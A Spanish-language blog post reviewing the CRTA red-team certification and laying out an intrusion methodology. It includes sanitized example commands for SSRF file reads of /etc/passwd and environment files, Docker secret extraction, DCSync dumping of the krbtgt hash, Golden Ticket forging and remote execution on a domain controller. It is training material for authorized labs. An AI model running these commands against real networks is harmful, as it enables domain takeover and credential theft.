Post

CRTA: análisis técnico del examen y metodología de intrusión

CRTA: análisis técnico del examen y metodología de intrusión

Antes de empezar

La CRTA — Certified Red Team Analyst de CyberWarFare Labs plantea un escenario práctico en el que varias fases de una intrusión deben conectarse dentro de un mismo entorno.

No es un examen para entrar directamente a Active Directory y comenzar a ejecutar herramientas contra el controlador de dominio. Antes de llegar a esa etapa es necesario entender la superficie expuesta, separar servicios, identificar filtraciones de información, conseguir acceso inicial, revisar un servidor Linux, analizar contenedores, descubrir una red interna y recién entonces comenzar a trabajar sobre el dominio.

Ese detalle cambia bastante la experiencia.

La dificultad no está únicamente en conocer técnicas aisladas. El reto está en mantener un flujo ordenado mientras el contexto cambia entre:

  • aplicaciones web,
  • servicios auxiliares,
  • Linux,
  • Docker,
  • redes internas,
  • pivoting,
  • Windows,
  • Kerberos,
  • y Active Directory.

En las siguientes secciones se reconstruye ese recorrido de forma técnica, explicando qué se puede revisar en cada punto, por qué tiene sentido hacerlo y qué nuevo paso podría habilitar cada hallazgo.

Este artículo no es un walkthrough del examen. Todos los dominios, direcciones IP, credenciales, hashes, rutas y valores utilizados como ejemplo son ficticios o han sido modificados.


Certificación

La credencial oficial puede validarse desde el siguiente enlace: Ver certificado oficial

Este reel resume el feedback de forma más casual:


¿Qué propone el examen?

El examen entrega aproximadamente 6 horas para comprometer el entorno y responder las preguntas planteadas.

Ese tiempo puede ser suficiente para alguien que ya trabaja con cierta comodidad en:

  • enumeración web,
  • Linux,
  • escalada de privilegios,
  • Docker,
  • redes internas,
  • pivoting,
  • Active Directory,
  • NetExec,
  • Impacket,
  • y Kerberos.

Con experiencia previa, el entorno puede resolverse antes. Sin embargo, tener conocimientos de cada área por separado no garantiza avanzar rápido.

El tiempo suele perderse cuando:

  • se mezclan hallazgos de servicios diferentes,
  • se ejecutan herramientas sin una hipótesis clara,
  • no se documenta qué evidencia pertenece a cada host,
  • se intenta atacar Active Directory antes de completar la fase inicial,
  • o se realizan búsquedas demasiado amplias que generan ruido.

La certificación no premia únicamente la cantidad de comandos ejecutados. Premia la capacidad de mantener contexto.


El laboratorio de práctica no replica exactamente el examen

El laboratorio disponible sirve para practicar conceptos y entrar en ritmo, pero no debería tomarse como una copia exacta del escenario final.

En el examen pueden aparecer capas adicionales que requieren más análisis, por ejemplo:

  • servicios Linux,
  • escalada local,
  • contenedores Docker,
  • aplicaciones auxiliares,
  • revisión de código fuente,
  • o credenciales expuestas fuera de Active Directory.

Esto es importante porque obliga a estudiar el dominio como la última parte de una cadena, no como un tema aislado.

El flujo general se puede representar así:

Superficie web Filtración de información Acceso inicial Escalada local Docker y código Red interna Active Directory Objetivo final

La cadena parece sencilla cuando ya se conoce el resultado. Durante la operación, cada bloque puede corresponder a un host, un puerto, una tecnología y una hipótesis diferente.


1. Separar servicios antes de probar cosas

Uno de los primeros errores posibles en un escenario de este tipo es asumir que todos los puertos web pertenecen a la misma aplicación.

Un mismo servidor podría exponer:

PuertoTecnologíaPosible función
22SSHAcceso remoto al host
8080Node.js / ExpressAplicación de monitoreo
23000Flask / WerkzeugServicio auxiliar
80ApacheAplicación interna distinta

Aunque compartan dirección IP, técnicamente son contextos separados.

Por ejemplo:

1
2
3
4
10.50.20.15:8080  → aplicación Node.js
10.50.20.15:23000 → servicio Flask
10.60.30.20:80    → servidor Apache interno
10.60.30.100:445  → controlador de dominio

Si se encuentra una ruta interesante en 8080, no se debería asumir que también existe en 23000.

Si una credencial aparece en el servidor Apache interno, no necesariamente pertenece al panel Node.js.

Forma recomendada de documentarlo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[HOST] 10.50.20.15
  [PORT] 8080
  [SERVICE] Node.js / Express
  [HYPOTHESIS] Panel de monitoreo con rutas no documentadas
  [TEST] Revisar HTML, JavaScript y assets
  [EVIDENCE] Se identifica una ruta pública de depuración
  [NEXT] Validar la ruta por HTTP

  [PORT] 23000
  [SERVICE] Flask / Werkzeug
  [HYPOTHESIS] Servicio auxiliar que procesa URLs
  [TEST] Revisar parámetros y protocolos aceptados
  [EVIDENCE] El endpoint recibe una URL como entrada
  [NEXT] Validar lectura local o SSRF

La regla práctica es simple:

Cada combinación IP:PUERTO debe tener su propia hipótesis, prueba, evidencia y decisión.


2. Enumeración web con intención

La fase web no consiste únicamente en ejecutar fuzzing.

Herramientas como nmap, curl, ffuf, Burp Suite o Caido sirven para recolectar información, pero no deciden qué significa cada resultado.

2.1 Revisión inicial

1
2
curl -i http://web01.nagata-corporation.local/
curl -s http://web01.nagata-corporation.local/ | tee index.html

-i permite revisar headers como:

1
2
3
4
5
Server
Set-Cookie
Location
Content-Type
X-Powered-By

Guardar el cuerpo con tee permite revisarlo después sin repetir la solicitud.

2.2 Descubrimiento de contenido

1
2
3
4
ffuf \
  -u http://web01.nagata-corporation.local/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -fc 404

Parámetros:

ParámetroFunción
-uURL objetivo
FUZZPosición donde se insertan palabras
-wWordlist
-fc 404Filtra respuestas 404

Encontrar rutas como estas no confirma una vulnerabilidad:

1
2
3
4
5
/assets/
/static/
/api/
/debug/
/backup/

Solo genera nuevas preguntas.

2.3 Preguntas que deben hacerse

  • ¿Existe listado de directorios?
  • ¿La aplicación expone archivos fuente?
  • ¿Hay comentarios HTML?
  • ¿Los JavaScript muestran endpoints internos?
  • ¿Existen credenciales hardcodeadas?
  • ¿Se revelan nombres de host?
  • ¿Hay referencias a otros puertos?
  • ¿Los assets contienen valores de configuración?
  • ¿Hay rutas accesibles sin autenticación?

2.4 Revisar HTML

1
grep -niE 'api|admin|debug|backup|internal|token|secret|port' index.html

Los comentarios HTML pueden revelar información como:

1
<!-- revisar el panel interno en /monitor -->

Una línea así no es una vulnerabilidad por sí sola, pero sí una pista.

2.5 Revisar JavaScript

1
grep -RniE 'fetch\(|axios|/api/|token|secret|password|admin' js/

En JavaScript suelen encontrarse:

  • rutas no enlazadas,
  • endpoints API,
  • parámetros,
  • nombres de campos,
  • referencias a servicios internos,
  • lógica de autenticación,
  • configuraciones de desarrollo.

2.6 Revisar assets

1
2
3
4
5
find . -type f \( \
  -name "*.js" -o \
  -name "*.css" -o \
  -name "*.json" \
\)

Un archivo CSS no debería contener secretos, pero en entornos mal configurados puede incluir:

1
2
3
4
:root {
  --db-user: "db_reader";
  --db-pass: "ExamplePassword!";
}

Ese tipo de filtración suele aparecer por:

  • archivos de prueba incluidos en producción,
  • comentarios olvidados,
  • datos usados como placeholder,
  • bundles generados desde código no sanitizado.

3. Cuando una aplicación solo apunta hacia otra

En este tipo de escenario, una aplicación puede no ser explotable directamente y aun así ser importante.

Puede actuar como puente:

1
2
3
4
5
6
7
8
9
10
11
Aplicación A
    ↓
Ruta no documentada
    ↓
Referencia a servicio B
    ↓
Lectura de archivo
    ↓
Credencial
    ↓
Acceso SSH

Por ejemplo, una ruta de depuración podría devolver:

1
2
3
4
5
{
  "message": "Check the auxiliary service",
  "service_port": 23000,
  "token": "example-value"
}

En ese punto se podrían plantear nuevas preguntas:

  • ¿El servicio está expuesto externamente?
  • ¿Escucha solo en localhost?
  • ¿Qué framework utiliza?
  • ¿Qué parámetros recibe?
  • ¿Acepta URLs?
  • ¿Permite protocolos distintos de HTTP?
  • ¿Lee archivos del host o del contenedor?

La aplicación inicial no tendría que ser el objetivo final. Su valor estaría en revelar la siguiente pieza del recorrido.


4. Lectura de archivos y acceso inicial

Un servicio que recibe una URL puede introducir riesgos como:

  • SSRF,
  • acceso a servicios internos,
  • lectura local mediante file://,
  • acceso a metadata cloud,
  • filtración de archivos de configuración.

Ejemplo ficticio:

1
2
3
curl --get \
  "http://web01.nagata-corporation.local:23000/fetch" \
  --data-urlencode "url=file:///etc/passwd"

4.1 ¿Por qué usar --data-urlencode?

Permite enviar correctamente caracteres especiales dentro del parámetro.

Sin encoding, valores como:

1
2
file:///etc/passwd
http://127.0.0.1:8080/api

podrían ser interpretados de forma incorrecta.

4.2 Contenedor frente a host

Si el servicio corre dentro de un contenedor, file:///etc/passwd podría leer el archivo del contenedor, no el del host.

Algunas arquitecturas montan el filesystem del host dentro del contenedor:

1
2
3
/hostfs
/mnt/host
/host

En ese caso, una prueba genérica podría ser:

1
2
3
curl --get \
  "http://web01.nagata-corporation.local:23000/fetch" \
  --data-urlencode "url=file:///hostfs/etc/passwd"

No se debería probar una ruta al azar. Primero habría que buscar evidencia de un montaje o una indicación del propio servicio.

4.3 Qué archivos revisar

En un entorno autorizado:

1
2
3
4
5
6
7
/etc/passwd
/etc/hosts
/proc/self/cmdline
/proc/self/environ
/app/.env
/opt/app/config.json
/var/log/auth.log

La lectura debe tener un objetivo concreto:

ArchivoPosible utilidad
/etc/passwdUsuarios y shells
/etc/hostsHostnames internos
/proc/self/cmdlineComando del proceso
/proc/self/environVariables de entorno
.envCredenciales o configuración
auth.logIPs y accesos previos

5. Acceso inicial a Linux

Cuando se obtiene una credencial válida, el siguiente paso es entrar al host y entender el contexto.

1
ssh analyst@10.50.20.15

Antes de ejecutar scripts de enumeración automática, conviene revisar manualmente:

1
2
3
4
5
6
7
8
9
whoami
id
hostname
uname -a
ip a
ip route
sudo -l
ss -tulpn
ps auxww

5.1 Qué responde cada comando

ComandoPregunta que responde
whoami¿Qué usuario está activo?
id¿Qué grupos y privilegios tiene?
hostname¿En qué host se está trabajando?
uname -a¿Qué kernel y arquitectura usa?
ip a¿Qué interfaces existen?
ip route¿Qué redes son alcanzables?
sudo -l¿Qué puede ejecutar con sudo?
ss -tulpn¿Qué servicios escucha el host?
ps auxww¿Qué procesos están activos?

La intención es construir un mapa del host antes de buscar una escalada.


6. Escalada local: configuración antes que exploit

No todas las escaladas dependen de una CVE.

También pueden aparecer por:

  • reglas sudo demasiado permisivas,
  • binarios SUID,
  • capabilities,
  • servicios ejecutados como root,
  • tareas programadas,
  • credenciales en archivos,
  • sockets accesibles,
  • Docker,
  • montajes inseguros.

Revisión inicial:

1
2
3
sudo -l
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null

6.1 sudo -l

Este comando muestra qué binarios puede ejecutar el usuario mediante sudo.

Si aparece una herramienta capaz de:

  • ejecutar comandos,
  • abrir una shell,
  • cargar plugins,
  • escribir archivos,
  • o invocar un editor,

se debería revisar su comportamiento antes de buscar exploits de kernel.

El punto técnico es importante:

En muchas escaladas no se rompe el software. Se abusa de una capacidad legítima concedida al usuario equivocado.


7. Por qué aparece Docker en la investigación

Al revisar puertos con:

1
ss -tulpn

se puede observar algo como:

1
docker-proxy

Eso indica que un puerto del host está publicado desde un contenedor.

A partir de ese hallazgo, revisar únicamente /var/www, /opt o /srv puede ser insuficiente.

La aplicación podría vivir dentro de:

  • una imagen Docker,
  • un volumen,
  • un bind mount,
  • o el filesystem aislado del contenedor.

7.1 Enumerar contenedores

1
2
docker ps -a
docker images

7.2 Revisar configuración

1
docker inspect <container>

docker inspect puede revelar:

  • variables de entorno,
  • puertos,
  • comando de inicio,
  • imagen utilizada,
  • mounts,
  • redes,
  • dirección IP interna.

7.3 Variables de entorno

1
2
docker inspect <container> \
  --format ''

Ejemplo ficticio:

1
2
3
4
APP_ADMIN_USER=admin
APP_ADMIN_PASSWORD=ExamplePassword123!
APP_PORT=8080
JWT_SECRET=example-secret

Las variables de entorno son un punto frecuente de filtración porque muchas aplicaciones reciben secretos desde Docker Compose o desde el comando docker run.

7.4 Montajes

1
2
docker inspect <container> \
  --format ''

Salida conceptual:

1
2
3
4
5
6
[
  {
    "Source": "/srv/app-data",
    "Destination": "/var/lib/app/data"
  }
]

Esto significa:

1
2
Host:       /srv/app-data
Contenedor: /var/lib/app/data

La información persistente podría incluir:

  • bases SQLite,
  • JSON,
  • tokens,
  • configuraciones,
  • usuarios,
  • logs.

7.5 Revisar logs

1
docker logs <container>

Los logs pueden mostrar:

  • rutas,
  • errores,
  • conexiones internas,
  • variables mal impresas,
  • nombres de archivos,
  • stack traces.

8. Inspección mediante /proc/<PID>/root

Cuando se dispone de root en el host, el filesystem visto por un proceso puede revisarse desde:

1
/proc/<PID>/root/

Primero se identifica el proceso:

1
ps auxww | grep -E 'node|python|java|gunicorn' | grep -v grep

Luego se obtiene su directorio de trabajo:

1
readlink -f /proc/1234/cwd

Y el comando completo:

1
tr '\0' ' ' < /proc/1234/cmdline

Finalmente:

1
ls -la /proc/1234/root/

8.1 ¿Qué permite entender?

  • desde qué ruta se ejecuta el servicio,
  • dónde está el código,
  • qué archivos ve el proceso,
  • qué configuraciones carga,
  • si vive dentro de un contenedor,
  • qué mounts están disponibles.

8.2 Ejemplo

1
readlink -f /proc/1234/cwd

Resultado ficticio:

1
/code

Entonces se puede revisar:

1
find /proc/1234/root/code -maxdepth 3 -type f

Esto permite analizar el código real sin depender de lo que exponga la aplicación por HTTP.


9. Análisis de código fuente con scope reducido

Buscar en todo el filesystem genera demasiado ruido.

Esto:

1
grep -Rni "password" /

normalmente devuelve miles de resultados inútiles.

La búsqueda debería limitarse a la ruta de la aplicación.

9.1 Node.js / Express

1
2
3
grep -RniE \
  'app\.get|app\.post|router\.|process\.env|express\.static|secret|password|token' \
  /code/src 2>/dev/null

Puntos de interés:

  • rutas no documentadas,
  • middlewares,
  • autenticación,
  • variables de entorno,
  • archivos estáticos,
  • endpoints API,
  • valores hardcodeados.

9.2 Flask

1
2
3
grep -RniE \
  '@app\.route|request\.args|request\.form|open\(|requests\.get|subprocess|os\.system' \
  /app 2>/dev/null

Puntos de interés:

  • rutas,
  • parámetros,
  • lectura de archivos,
  • solicitudes HTTP,
  • ejecución de procesos,
  • validaciones incompletas.

9.3 Ver líneas cercanas

Cuando grep encuentra una coincidencia:

1
nl -ba src/index.js | sed -n '40,90p'

nl -ba agrega números de línea.
sed -n permite mostrar solo el bloque relevante.

La revisión cercana es necesaria porque una palabra como secret puede aparecer en una librería sin tener relación con el objetivo.


10. Descubrimiento de red interna

Una vez obtenido acceso al host Linux, se debe revisar si existen redes adicionales.

1
2
3
ip a
ip route
arp -a

También se pueden revisar conexiones y logs:

1
2
3
ss -antp
cat ~/.bash_history
grep -RniE '10\.[0-9]+\.[0-9]+\.[0-9]+' /var/log 2>/dev/null

10.1 Qué puede aparecer

  • IPs internas,
  • servidores usados por administradores,
  • nombres de host,
  • conexiones SSH,
  • endpoints de bases de datos,
  • controladores de dominio,
  • gateways.

En un laboratorio, los logs pueden ser una pista intencional. En un pentest real, también pueden revelar relaciones operativas.

Idea clave

No siempre es necesario escanear todo el segmento para encontrar el siguiente activo. La evidencia local puede indicar dónde mirar.


11. Confirmar si ya existe una ruta

Antes de configurar Ligolo, Chisel o un túnel SSH, se debería comprobar si Kali ya alcanza la red interna.

1
ip route get 10.60.30.20

Una salida como:

1
10.60.30.20 via 192.168.90.1 dev tun1 src 192.168.90.73

indica que ya existe una ruta.

En ese caso, montar otro túnel sería innecesario y podría introducir más complejidad.

11.1 Descubrimiento controlado

1
fping -a -g 10.60.30.1 10.60.30.254

Parámetros:

ParámetroFunción
-aMuestra hosts vivos
-gGenera el rango

Después se debería escanear cada host por separado y sin mezclar resultados.


12. Pivoting: Ligolo, Chisel, SOCKS y SSH

Las herramientas de pivoting no son completamente equivalentes.

La elección depende de qué tipo de conectividad se necesita.

12.1 Ligolo-ng

Ligolo-ng crea una interfaz TUN y permite trabajar de forma parecida a tener una ruta real hacia la red interna.

Ventajas:

  • integración natural con herramientas,
  • no requiere envolver cada comando con proxychains,
  • facilita SMB, LDAP, WinRM y otros protocolos TCP,
  • ofrece una experiencia similar a routing.

Mentalmente:

1
Kali tiene una ruta hacia la red interna

12.2 Chisel

Chisel crea túneles TCP sobre HTTP/WebSocket.

Puede utilizarse para:

  • SOCKS,
  • local forwarding,
  • reverse forwarding.

Mentalmente:

1
una conexión TCP viaja dentro de un túnel

12.3 SOCKS y Proxychains

Flujo:

1
2
3
4
5
6
7
8
9
Herramienta
   ↓
Proxychains
   ↓
SOCKS
   ↓
Pivote
   ↓
Red interna

Limitaciones habituales:

  • ICMP no funciona como routing,
  • UDP suele ser problemático,
  • DNS puede resolverse fuera del túnel,
  • algunas herramientas no se comportan bien con proxychains,
  • los escaneos SYN no funcionan como en una ruta directa.

12.4 SSH Dynamic Forwarding

1
ssh -D 1080 user@pivot

Esto crea un proxy SOCKS local.

12.5 SSH Local Forwarding

1
ssh -L 8443:internal.example:443 user@pivot

Permite alcanzar un servicio concreto:

1
localhost:8443 → internal.example:443

12.6 SSH Remote Forwarding

1
ssh -R 9000:127.0.0.1:9000 user@pivot

Publica en el servidor remoto un puerto que apunta hacia el cliente.


12.7 ¿Trabajan en la misma capa del modelo OSI?

Reducir la comparación a “capa 3 contra capa 7” puede ser engañoso.

Una comparación más útil es operativa:

TécnicaResultado práctico
Ligolo-ngRouting mediante interfaz TUN
Chisel SOCKSProxy TCP transportado sobre HTTP/WebSocket
SSH -DProxy SOCKS dinámico
SSH -LReenvío TCP a un destino específico
ProxychainsEnvía conexiones de aplicaciones a través de SOCKS

Las preguntas correctas serían:

1
2
3
4
5
6
7
¿Se necesita conectividad IP general?
¿Solo hay que llegar a un puerto?
¿Se necesita resolver DNS interno?
¿La herramienta utiliza TCP, UDP o ICMP?
¿Se puede instalar un agente?
¿Existe acceso SSH?
¿Hay restricciones de salida?

13. Enumeración de Active Directory

Una vez alcanzada la red interna, primero se identifica el dominio.

Puertos típicos:

PuertoServicio
53DNS
88Kerberos
135RPC
389LDAP
445SMB
464Cambio de password Kerberos
636LDAPS
3268Global Catalog
5985WinRM
9389AD Web Services

13.1 Confirmar SMB

1
nxc smb 10.60.30.100

Puede revelar:

  • hostname,
  • dominio,
  • versión de Windows,
  • SMB signing,
  • arquitectura.

13.2 Confirmar LDAP

1
nxc ldap 10.60.30.100

13.3 Enumeración adicional

1
enum4linux-ng -A 10.60.30.100

Información útil:

1
2
3
4
5
6
Dominio DNS
Dominio NetBIOS
FQDN del DC
SID del dominio
SMB signing
LDAP disponible

El objetivo inicial no es explotar. Es construir el mapa correcto del dominio.


14. Validación de credenciales

Si se encuentra una cuenta de dominio:

1
2
sync_service@nagata-corporation.local
ExamplePassword!

primero se valida:

1
2
3
4
nxc smb 10.60.30.100 \
  -u 'sync_service' \
  -p 'ExamplePassword!' \
  -d nagata-corporation.local

Y por LDAP:

1
2
3
4
nxc ldap 10.60.30.100 \
  -u 'sync_service' \
  -p 'ExamplePassword!' \
  -d nagata-corporation.local

No se debería asumir que una credencial es válida solo porque apareció en un archivo.

La validación responde:

1
2
3
4
¿La cuenta existe?
¿La password sigue vigente?
¿El dominio es correcto?
¿SMB o LDAP permiten autenticación?

15. DCSync: por qué una cuenta de sincronización importa

Una cuenta vinculada a sincronización de directorio merece atención especial.

Si posee permisos de replicación, podría realizar DCSync.

15.1 Qué hace DCSync

DCSync utiliza los mecanismos de replicación de Active Directory para solicitar secretos al controlador de dominio.

No requiere copiar manualmente NTDS.dit.

Permisos relacionados:

1
2
3
Replicating Directory Changes
Replicating Directory Changes All
Replicating Directory Changes In Filtered Set

15.2 Ejemplo sanitizado

1
2
3
impacket-secretsdump \
  'nagata-corporation.local/sync_service:ExamplePassword!@10.60.30.100' \
  -just-dc-user krbtgt

-just-dc-user krbtgt limita la solicitud a una sola cuenta.

La salida tendría un formato parecido a:

1
krbtgt:502:LMHASH:NTHASH:::

El NT hash corresponde al cuarto campo.

No se publica aquí ningún valor real.


16. Golden Ticket: qué datos necesita

Un Golden Ticket es un TGT Kerberos falsificado utilizando el secreto de krbtgt.

Para construirlo se necesita:

  • nombre del dominio,
  • SID del dominio,
  • secreto de krbtgt,
  • usuario representado,
  • grupos del ticket,
  • resolución DNS correcta,
  • hora sincronizada.

Ejemplo ficticio:

1
2
3
4
5
impacket-ticketer \
  -nthash 0123456789abcdef0123456789abcdef \
  -domain-sid S-1-5-21-111111111-222222222-333333333 \
  -domain nagata-corporation.local \
  Administrator

Luego:

1
export KRB5CCNAME=Administrator.ccache

Y acceso mediante Kerberos:

1
2
3
4
impacket-wmiexec \
  -k \
  -no-pass \
  dc01.nagata-corporation.local

16.1 Problemas frecuentes

  • DNS incorrecto,
  • FQDN equivocado,
  • clock skew,
  • SID incorrecto,
  • hash incorrecto,
  • ccache no exportado,
  • herramienta intentando NTLM,
  • SPN no resuelto.

La técnica no debería reducirse a copiar un comando. Hay que entender qué dato alimenta cada parámetro.


17. Acceso al controlador de dominio

Herramientas Impacket como:

1
2
3
wmiexec
psexec
smbexec

no hacen exactamente lo mismo.

HerramientaCaracterística general
wmiexecEjecución mediante WMI
psexecServicio remoto temporal
smbexecEjecución basada en SMB y servicio

La selección depende de:

  • privilegios,
  • controles defensivos,
  • ruido operativo,
  • disponibilidad de protocolos,
  • necesidad de una shell interactiva.

En un laboratorio, cualquiera puede servir si está permitido. En una operación real, la elección debería considerar detección y trazabilidad.


18. Buscar archivos en Windows sin generar miles de resultados

Buscar en todo C:\ puede generar mucho ruido.

Ejemplo poco eficiente:

dir C:\*.xml /s /b

Esto puede recorrer:

  • Windows,
  • ProgramData,
  • junctions,
  • repositorios internos,
  • perfiles duplicados.

Además, Windows conserva junctions como:

1
2
Documents and Settings
Application Data

que pueden producir rutas repetitivas.

18.1 Usar wildcards

Si el archivo podría tener doble extensión:

where /r C:\Users *secret*.xml*

Esto puede encontrar:

1
2
3
secret.xml
secret.xml.txt
backup-secret.xml.old

18.2 Limitar por perfiles

for /d %u in (C:\Users\*) do @dir "%u\Desktop\*secret*.xml*" /b /s /a-d 2>nul

Parámetros:

ParteFunción
for /dItera directorios
%uVariable del perfil
/bSolo rutas
/sRecursivo
/a-dSolo archivos
2>nulOculta errores

18.3 Rutas prioritarias

Antes de buscar todo el disco:

1
2
3
4
5
6
C:\Users
C:\ProgramData
C:\Shares
C:\Backup
C:\inetpub
C:\Windows\SYSVOL

La búsqueda debería seguir el contexto del reto.


19. El método que evita mezclar todo

La forma más útil de ordenar el trabajo fue:

1
2
3
4
5
6
7
Hipótesis
   ↓
Prueba
   ↓
Resultado
   ↓
Decisión

Ejemplo

1
2
3
4
5
6
7
8
9
10
11
Hipótesis:
El puerto 8080 expone una aplicación Node.js con rutas no documentadas.

Prueba:
Revisar HTML, JavaScript, assets y código fuente.

Resultado:
Se identifica una ruta pública que referencia un servicio auxiliar.

Decisión:
Enumerar el servicio auxiliar sin asumir que pertenece a la misma aplicación.

Otro ejemplo:

1
2
3
4
5
6
7
8
9
10
11
Hipótesis:
Los puertos publicados pertenecen a contenedores Docker.

Prueba:
Revisar ss, procesos y docker inspect.

Resultado:
Se identifican variables de entorno y un bind mount.

Decisión:
Analizar el volumen persistente y el código del contenedor.

20. Errores que consumen tiempo

20.1 Mezclar aplicaciones

1
Puerto 8080 ≠ puerto 23000 ≠ servidor web interno

Cada uno requiere su propio análisis.

20.2 Ejecutar herramientas sin pregunta

Antes de un comando debería existir una pregunta:

1
¿Qué espero confirmar?

20.3 Buscar demasiado amplio

Esto:

1
grep -Rni "password" /

genera ruido.

Mejor:

1
grep -RniE 'password|secret|token' /code/src

20.4 Atacar el DC demasiado pronto

Encontrar un controlador de dominio no significa que sea el siguiente paso inmediato.

Primero pueden faltar:

  • credenciales,
  • privilegios,
  • rutas,
  • DNS,
  • contexto del usuario.

20.5 Buscar nombres exactos

Un archivo solicitado como “XML” podría llamarse:

1
secret.xml.txt

Por eso conviene usar:

*secret*.xml*

20.6 No comprobar rutas existentes

Antes de montar un pivote:

1
ip route get <IP>

21. Herramientas utilizadas alrededor de este tipo de flujo

Reconocimiento y web

1
2
3
4
5
6
nmap
naabu
curl
ffuf
Burp Suite
Caido

Linux

1
2
3
4
5
6
7
8
ssh
sudo
ss
ps
find
grep
getcap
journalctl

Docker

1
2
3
4
5
docker ps
docker inspect
docker logs
docker exec
/proc/<PID>/root

Pivoting

1
2
3
4
5
Ligolo-ng
Chisel
SSH port forwarding
SOCKS
Proxychains

Active Directory

1
2
3
4
5
6
NetExec / nxc
enum4linux-ng
ldapsearch
BloodHound
Impacket
Kerberos utilities

Windows remoto

1
2
3
4
5
6
7
wmiexec
psexec
smbexec
WinRM
SMB
PowerShell
CMD

22. Qué estudiar antes de rendir CRTA

Web

  • HTTP,
  • headers,
  • rutas,
  • parámetros,
  • directory discovery,
  • JavaScript,
  • assets,
  • archivos expuestos,
  • SSRF y lectura local a nivel conceptual.

Linux

  • permisos,
  • sudo -l,
  • SUID,
  • capabilities,
  • procesos,
  • logs,
  • servicios,
  • SSH,
  • networking.

Docker

  • contenedores,
  • imágenes,
  • variables de entorno,
  • mounts,
  • volúmenes,
  • namespaces,
  • /proc/<PID>/root.

Redes

  • subredes,
  • rutas,
  • TUN/TAP,
  • SOCKS,
  • port forwarding,
  • proxychains,
  • DNS interno.

Active Directory

  • SMB,
  • LDAP,
  • Kerberos,
  • SIDs,
  • cuentas de servicio,
  • permisos de replicación,
  • DCSync,
  • tickets Kerberos.

Windows

  • perfiles,
  • búsqueda de archivos,
  • CMD,
  • PowerShell,
  • servicios remotos,
  • resolución de nombres.

23. Valor técnico de la certificación

La impresión general es que CRTA funciona bien como práctica de integración.

No se queda únicamente en:

1
2
3
enumerar usuarios
hacer Kerberoasting
ejecutar BloodHound

El entorno obliga a construir el camino hasta Active Directory.

Eso permite practicar:

  • transición entre tecnologías,
  • toma de decisiones,
  • manejo de evidencia,
  • validación de credenciales,
  • pivoting,
  • y abuso de relaciones de confianza.

No debería entenderse como una certificación que cubre todo Red Team.

Sí puede entenderse como una buena práctica para fortalecer metodología de intrusión en un escenario híbrido.


24. Conclusión

El punto más valioso del CRTA no es únicamente alcanzar el controlador de dominio.

El valor está en entender cómo una superficie web, una configuración insegura, una credencial expuesta, un servicio Linux, un contenedor y una cuenta de dominio pueden formar una sola cadena.

En seguridad ofensiva no basta con ejecutar herramientas.

Hay que saber:

1
2
3
4
5
separar servicios,
reducir ruido,
correlacionar evidencia,
validar hipótesis,
y decidir el siguiente paso.

Cada hallazgo debería responder:

1
2
3
4
5
¿Qué servicio se está evaluando?
¿Qué hipótesis existe?
¿Qué prueba se ejecutó?
¿Qué evidencia se obtuvo?
¿Qué siguiente paso habilita?

Ese enfoque convierte un laboratorio en conocimiento reutilizable.

También deja una tarea importante después de aprobar: volver a revisar el escenario con otras herramientas y comprobar si la misma lógica puede aplicarse de otra manera.

Por ejemplo:

  • reemplazar Ligolo por Chisel,
  • comparar routing con SOCKS,
  • repetir enumeración con herramientas nativas,
  • revisar qué controles defensivos habrían detectado cada etapa,
  • y documentar no solo el comando, sino la razón técnica detrás de él.

Ahí es donde el examen deja de ser una secuencia de flags y se convierte en metodología.


Nota final

Todos los dominios, IPs, credenciales, hashes, rutas y ejemplos técnicos incluidos en este artículo son ficticios o han sido modificados intencionalmente.

El contenido no publica flags, respuestas ni datos reales del examen.

This post is licensed under CC BY 4.0 by the author.